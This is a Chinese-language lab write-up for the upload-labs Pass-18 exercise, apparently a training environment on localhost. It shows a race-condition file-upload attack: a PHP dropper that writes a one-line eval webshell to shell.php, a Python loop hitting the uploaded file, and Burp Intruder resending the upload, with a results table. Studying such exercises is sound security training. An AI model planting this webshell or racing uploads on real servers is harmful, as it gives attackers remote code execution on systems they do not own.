

这个题目的逻辑为任何文件都可以上传，上传之后判断是不是图片类型，不是的话就删除（unlink函数）

这个题没法像前面几题一样利用图片马，因为没有文件包含漏洞
所以我们就在文件被删除之前利用它

方法为利用竞争条件上传，写18.php，内容为植入另一个木马

```
18.php
1 <?php
2 fputs(fopen('shell.php','w'),'<?php @eval($_POST[pass]);?>');
3 ?>
```

然后写一个脚本，不断访问upload下的18.php

```
import requests
while 1:
    requests.get('http://127.0.0.1:8888/upload-labs/upload/18.php')
```

然后用burp的intruder不断上传

The screenshot shows the Burp Suite Professional v1.7.32 interface. The 'Intruder' tab is active, displaying the 'Payload Positions' configuration window. The attack type is set to 'Sniper'. The base request is a POST to 'upload-labs/Pass-18/index.php' with a 'Content-Type' of 'multipart/form-data'. The payload is a PHP script that writes to 'shell.php'. The 'Positions' tab shows the payload is inserted at position 1. The 'Results' tab shows the attack results, including the request and response details.

Request	Payload	Status	Error	Timeout	Length	Comment
0		200			4320	
1	0	200			4320	
2	1	200			4320	
3	2	200			4320	
4	3	200			4320	
5	4	200			4320	
6	5	200			4320	
7	6	200			4320	
8	7	200			4320	
9	8	200			4320	
10	9	200			4320	

这里为了将对脚本的影响减少到最低，我自定义了变换的位置，放在了?>后面，不影响php的访问，这也是为什么上面18.php截图最后面有一个9
爆破，同时运行py脚本（但是仍然无法及时访问，为了测试我把第18关的index.php删除那一行注销了才测试成功，看来还是删除的速度快呀）

